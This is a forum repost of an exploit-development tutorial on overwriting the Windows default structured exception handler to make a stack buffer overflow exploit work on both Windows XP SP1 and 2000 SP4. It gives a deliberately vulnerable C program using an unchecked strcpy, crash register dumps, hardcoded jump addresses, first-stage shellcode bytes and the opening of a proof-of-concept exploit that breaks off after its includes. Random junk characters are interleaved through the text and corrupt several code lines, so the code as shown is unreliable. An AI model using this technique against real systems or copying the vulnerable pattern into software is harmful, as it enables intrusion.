标题: Exploiting Default Exception Handler to Increase Exploit Sta [打印本页] 作者: 韩冰 时间: 2004-11-19 10:39 标题: Exploiting Default Exception Handler to Increase Exploit Sta The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well." P) }- u4 M! m
: Q! G4 q9 n3 ?0 y% N4 g8 p3 H" u[Buf] <- Shellcode: \; O$ N8 C- R. `
[Return Address] <- jmp register (for Windows XP sp1) n8 v8 {, N. I* y7 C1 I8 Q3 B3 s
[Various Stack Data] <- Junk . N" c. A2 w9 M5 I3 d3 I7 v- X[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward! d/ T. q1 v5 n' g# M
[SE Handler] <- jmp register (for Win2k sp4); @7 `+ M+ \( F/ c2 s) k
[Stage1 Shellcode] <- stage1 shellcode for win2k 0 W4 R/ d3 s9 X6 T. O9 m * p) N/ r7 [6 iIf the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses3 x) u7 m. D1 z( N* M- [
: ?2 S& b7 d5 ~+ MNecessary Tools:! g. K' f! p& Y0 Y1 |- b
- OllyDBG / t3 F. ?9 x3 h- C/C++ Compiler 9 c# G# O& @- A, o3 s/ M8 i. _- nasm- k7 r P' A2 E! y2 R
- Sac / ?# I3 R1 ^1 B( u2 a$ m, }4 ~6 M$ G" [) S6 ?- U
Vulnerable Code:* O6 U/ ]% Q0 p. y% R8 D
//lamebuf.c 9 f/ a4 z! x6 N0 i! W#include<stdio.h>$ J- V: @; z/ q+ U6 u, Z! r T2 T
#include<string.h> / L+ U( \5 Q1 P1 |( E0 g- k#include<windows.h>2 i3 G* g: G3 M. R+ X
int main(int argc,char *argv[]){ l# o" |* ^# c: g$ ?8 P2 ]- |1 V; [% E
* {& n1 m6 ^- F5 r1 L1 fchar buf[512]; 6 }! |; H: v5 P! ^! D" x, Nchar buf1[1024]; // <- simulate a stack # ^1 N4 @$ R& s9 [: S. t//DebugBreak(); 8 q4 ]! R/ Z: u* O: p$ Gif (argc != 2){ return -1; } ( |: D5 R6 [8 Q* l% z2 d+ y9 @/ W. h- p# |
strcpy(buf,argv[1]); 2 n% w. x# b# A/ b, y9 v# Nreturn 0x0; $ N; B% w4 n# e, [ l x} - @, x% _) `! j9 x" _9 ]* E% @. J" _; h
Getting Started: 4 o2 B: Y7 D+ d2 {0 W/ XBefore writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers:$ c3 r$ ~5 O5 X$ w# J5 [
" }$ l$ |; A- X( i$ SEAX 00000000' f8 p1 G7 ^1 s
ECX 00321404/ j* E( }# y2 Y0 x
EDX 00414141+ t/ `5 C% I% k" W
EBX 7FFDF000+ W3 {, x' D( ^& h
ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ) p# F! J6 a% a' q" qEBP 41414141 / F+ U2 p! q: y5 qESI 77D4595F " O" l: z8 o- Z# L8 }EDI 77F59037 ntdll.77F590378 o4 n3 q: c6 i- u1 |+ l
EIP 41414141 - @8 C& ]" r" X* O 5 Y/ C4 w( H6 [Lets take a look at the stack and see what happened to the default exception handler:1 i$ H+ r$ J. n, ]+ X$ a8 ?. F2 m
0x0012FFB0 41414141 Pointer to next SEH Record. n: u, z9 @0 g3 B- O9 j, g$ O3 N
0x0012FFB4 41414141 SE Handler8 h( u! G' Q1 g. D
. ?& x% v! K$ l( Y
We successfully overwrote the return address and the default exception handler. & u4 P' o/ @0 X1 _" n: v* G6 N0 I; w- @& _! [+ \
Primary Return Address (Windows XP SP1 EN):9 q$ v# B3 v+ m8 k: ?7 o1 q
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be: 4 ]' x" y7 X+ P# {( U; E"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4" # S* [0 ~# D$ j& M; a. I* c% V8 b0 p/ o" T
Secondary Return Address (Windows 2000 SP4 EN):: Z1 } x$ M- v! ~
The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:! ~# o9 m# b3 t9 O6 u
"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1" $ M9 i% k6 N$ L" N6 J% {+ P( d, f- D* a
Proof Of Concept: % }: J' c3 r" Y// exploit.c % u6 [( d ?9 [4 }2 ^) U* ?+ U// Tal zeltzer - [Double Return] //# H2 g& G' A4 q0 q
# ? _3 Z$ A3 G7 g+ `# ] H
#include<stdio.h>6 b% Q0 Y$ Q9 P0 x
#include<string.h>3 {' }- D. r) X8 m
#include<windows.h>6 ^- o2 l- X$ Y1 o